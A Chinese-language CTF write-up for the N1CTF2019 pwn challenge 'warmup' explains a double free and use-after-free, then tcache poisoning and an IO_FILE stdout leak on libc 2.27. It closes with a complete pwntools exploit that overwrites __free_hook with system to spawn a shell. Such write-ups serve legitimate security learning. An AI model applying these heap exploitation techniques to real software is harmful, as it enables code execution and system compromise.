N1CTF2019——warmup WP

前言

  • 国内实力战队出的题目质量都非常高,我不敢想象这就是pwn的签到题。首先说一下这道题如何质量高。这道题涉及到了double free、UAF、tcache attack、IO_FILE的利用。赛后复现用去了我差不多3天的时间来钻研。

保护

在这里插入图片描述

分析

  • 程序只有增加、删除、编辑三个操作,并且保护全开,这种情况下只能利用IO_FILE来泄露内存。增加操作中已经限制了分配的大小:
    在这里插入图片描述
  • 漏洞有些隐蔽,首先看编辑函数:
    在这里插入图片描述
  • 这里先是将指针赋值给ptr变量,下面再来判断它的有效性。
    在这里插入图片描述
  • 删除函数中,如果输入的指针索引在0~9中,如果指针为空,它就会释放ptr指向的内存。那么,我们只要先编辑一个有效的指针,然后释放的时候,输入一个无效指针索引,实际上释放的还是编辑的那个指针,并且不会被置空,由此产生了double freeUAF

利用

  1. 因为分配的大小做了限制,所以我们不能直接分配得到unsortbin’s chunk,而题目给的libc是2.27的,我们可以利用tcache attack来分配一个overlaping chunk来修改邻接chunk’s head->size,使其变成unsortbin’s chunk,再释放8次使其进入unsortbin
  2. 部分修改刚释放的unsortbin’s chunkfd指向stdoutdouble free一个指针,利用UAF编辑这个指针的FD,指向刚释放的unsortbin’s chunk,然后分配两次第三次分配时候就可以编辑stdout泄露内存了。
  3. double free一个指针,编辑FD精确攻击free_hook释放三个没有释放的不重复的指针
  4. tcache attack free_hook

EXP

from pwn import*

#context.log_level=1
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(data):
    p.sendlineafter('>>','1')
    p.sendafter('>>',data)

def Del(idx):
    p.sendlineafter('>>','2')
    p.sendlineafter(':',str(idx))

def Edit(idx,data):
    p.sendlineafter('>>','3')
    p.sendlineafter(':',str(idx))
    p.sendafter('>>',data)

while True:
    try:
        p=process('./warmup')
        proc_base=p.libs()[os.path.abspath(os.path.join(os.getcwd(), './warmup'))]
        for i in range(5):#0~4
            Add(str(i+1)*8)
        Edit(4,'\n')
        for i in range(3):
            Del(9)#Del 4
        Del(4)
        Edit(0,'\0'*0x10+p64(0)+p64(0x51))
        Del(9)
        Del(0)
        Add('\x90')#0
        Add('\n')
        Add(p64(0)*5+p64(0xa1))#5
        Edit(1,'\n')
        for i in range(8):
            Del(9)#Del 1
        Edit(1,p16(0x1760))
        Del(0)
        Edit(5,'\n')
        Del(9)
        Edit(5,'\xc0')
        Add('\n')
        Add('\n')
        Add(p32(0xfbad1880)+'\0'*0x1c+'\x88')
        leak=p.recvuntil('done!')
        if len(leak)<8:
            raise EOFError
        libc_base=u64(leak[0:6].ljust(8,'\0'))-libc.sym['_IO_2_1_stdout_']-131
        success("libc_base:"+hex(libc_base))
        Del(0)
        Edit(5,'\n')
        Del(9)
        Edit(5,p64(libc_base+libc.sym['__free_hook']))
        Add('\n')
        Add(p64(libc_base+libc.sym['system']))
        Edit(0,'/bin/sh\0')
        Del(0)
        #gdb.attach(p,'x/10gx '+str(proc_base+0x202080)+'\nheap bins\nheap chunks')
        p.interactive()
        exit(0)
    except EOFError,e:
        p.close()

总结

  • 如何使用tcache attack构造overlaping chunk不难,难的是保证释放unsortbin chunk之后分配内存不会出错,为此我折腾了大约三天。究其原因还是因为之前构造overlaping chunk的时候不太合理。
  • 总的来说tcache attack比fastbin attack要好利用得多。具体说来,此题利用的是tcache attack中的tcache poisoning,与此类似的是fastbin attack中的Arbitrary Alloc。然而,后者需要绕过大小的检测,而前者不需要。但是注意到本EXP中在利用tcache attack构造overlaping chunk之前还伪造了chunk head,这并不与我刚说的“不需要绕过大小检测”这句话矛盾,而是为了后续分配其他chunk的时候不出错。
  • 更多的细节只可意会,不可言传,一切尽在调试中。。。
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值